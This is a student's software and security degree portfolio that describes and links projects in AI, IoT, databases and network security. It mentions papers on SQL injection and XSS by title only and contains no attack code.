Educational Objectives

In this project, I and my team worked on a way to summarize websites for the user. We started with one idea and after researching and developing that idea for a while we decided it was too complex for us to achieve in the timeframe given to us, so we opted for a less complex option.

https://github.com/Koratun/WebSummarizer

Metacognition Artificial Intelligence

For my SIP I experimented with many different engines before I decided on Flutter for my User Interface. I needed some engine that I could quickly learn, and with which I could quickly develop an MVP.

https://github.com/Koratun/metacognition_artificial_intelligence

Unity

My first thoughts went to game development. Engines such as Unity and Unreal were built specifically with many tutorials online so that a budding game developer could learn new skills! An additional plus was that I had worked in Unity before in High school so I tried using that first.

One of the primary features I needed for this app was to communicate with a python script. I searched and searched, but I could not find a way for C# to do that easily. Plus I was more familiar with C++ than I was with C#, so I decided to try a different engine.

Unreal

Unreal engine seemed a better candidate as it was in C++ and it had a neat blueprinting system for its components that I knew would be useful.

I got further into prototyping a simple UI, but I quickly found out that there was too much information about too many things that I simply did not need for my project. I needed a simple 2D interface, not all the bells and whistles that come with a full 3D game.

Flutter

Enter Flutter. Flutter seemed to be exactly what I needed! It is a relatively new engine specifically designed to make it easier for developers to push out an MVP for software. While it is aimed primarily at mobile it also has large support for both web and desktop platforms. This also made it easier for a feature that I eventually wanted my SIP to have: Availability for multiple platforms.

2. Demonstrate software development skills using more than one programming language and development environment.

MNIST Classifier in Python with PyCharm

For this project, I used Python and the PyCharm IDE.

https://github.com/Koratun/NeuralNetwork

Master Cipher in C++ with Visual Studio

For this project, I used C++ and the Visual Studio IDE.

https://github.com/Koratun/MasterCipher

3. Design and implement software solutions across multiple platforms.

Involio Linux Docker Image

I helped create an API that is hosted on a Linux docker image running Python 3.9.7.

For security reasons, I cannot give the GitHub link to this repository. This has been approved by UAT (per Jill Coddington).

Involio Admin Dashboard on Web

I created an admin dashboard for my workplace so that we can easily view and make changes to values in our database from anywhere in the world without needing direct access to our database. For example, if someone created a post with bad content (possibly a link to malware or pornographic content) we can instantly mark it as disapproved and the app on the front end will hide its contents from our users.

For security reasons, I cannot give the GitHub link to this repository. This has been approved by UAT (per Jill Coddington).

4. Design and implement software solutions for mobile devices or embedded systems.

M5StickCPlus + ThingSpeak

Here I demonstrate the M5StickCPlus recording its acceleration data and sending the largest value it has recorded to the ThingSpeak API to be recorded on my graph.

https://thingspeak.com/channels/1548711

https://github.com/Koratun/thingspeak_demo

Code

M5StickCPlus + IFTTT

Here I demonstrate how to activate an applet trigger on IFTTT with the press of a button on the M5StickCPlus. This then sent an email to my student email account as shown below.

https://github.com/Koratun/ifttt_demo

IFTTT Setup

Code and Result

5. Document the planning and development of software applications using industry-standard tools, techniques, and processes.

Metacognition Artificial Intelligence Trello Board

I plan out sprints with my SIP using Trello. While planning the next sprint I create cards (or tickets) and place them into sprint planning. When a new sprint begins, I place the tasks that I want to complete for that sprint into the To Do column. Completed cards are archived so that they can be referenced in the future should the need arise. Each card comes packed with all the information necessary for the feature it describes.

https://trello.com/b/v5lPOZBl/mai-milestone-4-%F0%9F%94%A5-07-08-2022-07-28-2022

Involio Jira Board

While I do not manage the entire Sprint board for my workplace, I do sometimes have to create my own tickets and I always have to manage my own tickets and write necessary information within them. For example, when I complete work on a ticket I have to write in the changes I made and I have to provide a checklist for the QA team so they know how to test what I have done.

For security reasons, I cannot give the link to this Jira board. This has been approved by UAT (per Jill Coddington).

6. Within software solutions describe, implement and analyze data structure techniques such as lists, trees, hash tables, graphs, along with sorting and searching algorithms.

Sorting

In this program, I demonstrate the differences in efficiency between some common sorting algorithms: Bubble, Insertion, and Merge sort. This is done with an array filled with 10,000 random integers.

https://github.com/Koratun/sorting_demo

Sudoku Master

The magic behind the sudoku solver in this program is controlled by a sparsely populated matrix of linked nodes, a linked list matrix if you will.

https://github.com/Koratun/SudokuMaster

Artificial Intelligence

1. Develop, analyze and integrate artificial intelligence applications and IoT systems.

Drone Sight

This project was two-fold. I wanted to take a series of images captured from drone movement and then feed those images into an AI that would predict how far the drone had moved between two images taken right after each other. So first I created a simulated drone in Unity and had it fly around randomly and take pictures as it moved. Then I fed those images into my AI which used deep learning to learn the distances that the drone had moved. It uses a couple of convolutional layers in a submodel that it uses to analyze both images, then it combines the data of the two images and tries to learn what differences in the two images constitute what movement in what direction.

This AI could then be loaded into a server that could communicate with a drone and tell it its relative position to where it booted up as it fed the server what it could see.

https://github.com/Koratun/Deep-Sight - AI Code

https://github.com/Koratun/Drone-Simulator - Simulator Code

After just a few epochs you can see on the left how quickly the loss descends to around 0.98. On the right, you can see an example of the data that was fed into the AI.

IOT Music Recognition

In this project, I used an M5Stick to gather microphone data. It would then compress that data into hex and send it to the server.

https://github.com/Koratun/IOTFinal

Server-side code

This was the python code that ran in the server that passed the microphone data to a Shazam library in order to process and find a musical match.

Client-side code

This was the C code that ran on the M5 to capture, compress, and send audio data to the server.

2. Demonstrate skills to design and create natural language processing systems.

Sumo the Summarizer

This program uses some natural language processing libraries to search the internet for answers to questions that you ask it. It also speaks to the user and reads out its 5-sentence response to your question. And it cites its sources!

https://github.com/Koratun/nlp_demos/tree/master/researcher

For example, I asked, "What is the leading cause of global warming?" And it responded with the following:

3. Demonstrate designing and creating machine learning systems using best practices and patterns.

MNIST Classifier

I coded a simple AI that uses gradients and matrices to learn how to identify handwritten numbers. It uses a single dense layer of 200 hidden nodes to analyze a 28x28 greyscale image with a learning rate of 0.08 over 40 epochs. This allowed it to quickly descend the loss curve until it begins to stabilize around a loss of 0.5 and an accuracy of 89%.

https://github.com/Koratun/NeuralNetwork

CIFAR GAN

This project was a little bit ambitious for my computer. I decided to make a Generative Adversarial Network using the CIFAR10 dataset as the input data. A GAN is designed with two inner AIs that compete against each other. The Discriminator's job is to determine if the image it is seeing is real or generated, and the Generator's job is to produce images that fool the Discriminator. Over time the two will improve each other as the discriminator learns what things make an image real and the generator learns what things to create to imitate a real image.

After the long process of learning how to do all of this I finally had a working model! So I started training it with my NVIDIA 2060 Super, a GPU that allows the AI to learn far faster than by just using the CPU. However, even with this moderately advanced GPU, the model proved to be too complex to train with any good speed. I ran the training for 2 straight days and it barely began learning how to make differently shaped color blobs as depicted below.

https://github.com/Koratun/metacognition_artificial_intelligence/tree/master/playground_ai - Specifically the generative_adversarial_network.py and gan_display.py files

4. Demonstrate new and original data in deep learning by consuming big data with original algorithms.

Drone Sight

As said above, this model takes two images taken right after each other and compares them to determine the distance traveled between the two images.

https://github.com/Koratun/Deep-Sight

Submodel

This model handles analyzing each individual image.

Model

This model handles analyzing the differences between two images in the sequence.

CIFAR GAN

For generator portion of my CIFAR10 Generative Adversarial Network, I used some randomly generated noise data with a series of dense layers followed by 2D Convolutional Transpose layers (essentially the inverse operation of a normal Convolutional layer) to produce an image.

For the Discriminator, I used essentially the opposite: Some convolutional layers followed by some dense layers to produce a binary response of real or fake.

https://github.com/Koratun/metacognition_artificial_intelligence/tree/master/playground_ai - Specifically the generative_adversarial_network.py and gan_display.py files

5. Demonstrate software development skills using more than one programming language, development environment, platform, and source control system.

To-Do List in Python for Windows in VSCode

In this project, I used Python to make a simple To-Do list and targeted the Windows platform, which I developed in VSCode.

https://github.com/Koratun/ToDoList

IFTTT Demo in C for M5StickC Plus in Arduino IDE

Here I show how I developed my IFTTT Demo in C in the Arduino IDE targeting the M5StickCPlus.

https://github.com/Koratun/ifttt_demo

Drone Simulator in C# in Unity and Visual Studio with Sourcetree

This is the Drone Simulator I used to create the data to feed my Drone Sight AI. I used the Unity game engine which uses C# as well as Visual Studio. I also used Sourcetree as my VCS for this project.

https://github.com/Koratun/Drone-Simulator

6. Describe, develop, analyze, integrate data structures, databases, and database management systems.

Firebase with the M5StickCPlus

Firebase is a database management system, and to demonstrate how one can use it, I created a simple program that can be controlled via Firebase. When the specific row is set to ON, then the main light switches on, and when it is set to OFF the light switches off. Simply by changing the value in the database I am able to affect changes on a device that could be anywhere in the world (with an Internet connection).

https://github.com/Koratun/firebase_iot_demo

Involio PostgreSQL

At my workplace, we use PostgreSQL as our database management system. It's basically SQL with a few extra pieces of functionality here and there. At Involio we have many different objects with complex relationships to each other: Posts, Users, Files, Comments, Likes, etc. And a relational database makes this much easier to work with. I have also written many queries with SQLAlchemy (a python library) and raw SQL.

For security reasons, I cannot give the GitHub link nor the AWS link to this database instance. This has been approved by UAT (per Jill Coddington).

SQLAlchemy Queries

Raw SQL Statements

Network Security

1. Create a network infrastructure design communications document that includes identified hardware components, connections to the outside world, identified physical layer connectivity (media), and addressing, including operational and security components in the design.

Real Fake Industries Network Diagram

Here I create a network diagram for Real Fake Industries. They have two sites that are connected via a VPN using an IPsec Tunnel. Each workgroup (sales, management, the call center, etc.) is separated onto its own VLAN so that atypical traffic for each group can be more easily identified. The IT group in Phoenix contains backup DNS and ADDC. It also contains its own IDS to monitor the traffic within the Phoenix network. The IDS in San Diego monitors all traffic within the corporation.

2. Install, configure and test security hardware and software tools with supporting documentation such as port scanners, vulnerability detection systems, intrusion detection systems, firewalls, system hardening, anti-virus tools, patch management, auditing, and assessment.

Involio force MFA for admins

My workplace has an admin dashboard that can access, update, and delete any data in our database from anywhere with an Internet connection. Previously, the dashboard was only protected by a password. But I changed that. I leveraged a MFA service called Twilio and implemented a required MFA for any admin to access the admin dashboard, thus further securing it from any prying eyes.

System Hardening

In this paper, I detail how to harden a Windows 10 system with screenshots.

System Hardening - Kody Mitchell.pdf

3. Construct, implement and document a script or a program to automate a security-related process or other tasks such as installation, administration, management, mapping resources, logon scripts, patch management, updates, auditing, analysis, and assessment.

Involio force MFA for admins

Below and to the right is some of the python code I wrote to authenticate a user based on their username, password, and OTP given to them by Twilio.

4. Create a policy or procedure that addresses events such as a disaster recovery plan, a business continuity plan, an incident response policy, an acceptable usage document, an information security policy, a physical security policy, assessments, or troubleshooting procedures.

BCDR

This presentation briefly goes over several different aspects of the Business Continuity and Disaster Recovery Plan that a team of myself and 3 other students created.

BCDR Presentation

Security Awareness Plan

This paper goes in-depth on how to train employees on being more aware of email phishing attacks, having better personal security, and having better physical security.

Security Awareness Plan - Kody Mitchell.pdf

5. Develop a research report or implementation plan concerning legal and ethical best practices and mandated requirements that pertain to information security.

Omnibus Report

This report details the Omnibus rule put into effect by Congress in 2013. It modifies both HIPAA and HITECH which deal with electronic storage of patient's health information and other PII.

Omnibus Report.pdf

Security Implementation Plan

This implementation plan details how Real Fake Industries will safeguard its new data center with physical and digital security along with brief IR and futureproofing plans. These safeguards will allow RFI to follow best practices when collecting, storing, and transmitting user data.

Security Implementation Plan.pdf

6. Research, document, test, and evaluate several current industry information security-based threats, risks, malicious activities, covert methodology, encryption technologies, mitigation techniques, or unconventional tactics to prevent loss of sensitive information and data confidentiality, integrity, and availability.

Secure Coding: SQL Injection

In this paper, I dive into common forms of SQL injection, how they are executed, and how they can be prevented.

SQL Injection.docx

Secure Coding: XSS

In this paper, I discuss what cross-site scripting is, and how it can be used to phish people's PII. I also discuss what is needed for websites to prevent this kind of abuse.

XSS.docx